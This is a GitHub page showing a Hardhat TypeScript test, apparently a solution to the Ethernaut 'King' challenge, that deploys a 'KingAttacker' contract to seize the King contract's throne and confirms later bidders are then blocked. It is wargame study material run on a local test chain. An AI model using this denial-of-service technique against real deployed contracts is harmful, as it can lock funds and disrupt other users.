generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 0
/
09-King.test.ts
57 lines (47 loc) · 1.58 KB
/
09-King.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { BigNumber, Contract, utils } from 'ethers';
import { ethers } from 'hardhat';
const { provider } = ethers;
describe('King', () => {
let owner: SignerWithAddress;
let user1: SignerWithAddress;
let user2: SignerWithAddress;
let attacker: SignerWithAddress;
let contract: Contract;
before(async () => {
[owner, user1, user2, attacker] = await ethers.getSigners();
const Factory = await ethers.getContractFactory('King');
contract = await Factory.deploy({
value: utils.parseEther('1'),
});
await contract.deployed();
let tx = await user1.sendTransaction({
to: contract.address,
value: utils.parseEther('1.1'),
});
await tx.wait();
});
it('attack', async () => {
const lastPrice = await contract.prize();
const newPrice = lastPrice.add(1);
const AttackerFactory = await ethers.getContractFactory('KingAttacker');
const attackerContract = await AttackerFactory.connect(attacker).deploy(contract.address);
let tx = await attackerContract.connect(attacker).beTheKing({
value: newPrice,
});
await tx.wait();
expect(await contract._king()).to.equal(attackerContract.address);
try {
tx = await user2.sendTransaction({
to: contract.address,
value: newPrice.add(1),
});
await tx.wait();
expect(true).to.equal(false);
} catch (error) {
expect(true).to.equal(true);
}
expect(await contract._king()).to.equal(attackerContract.address);
});
});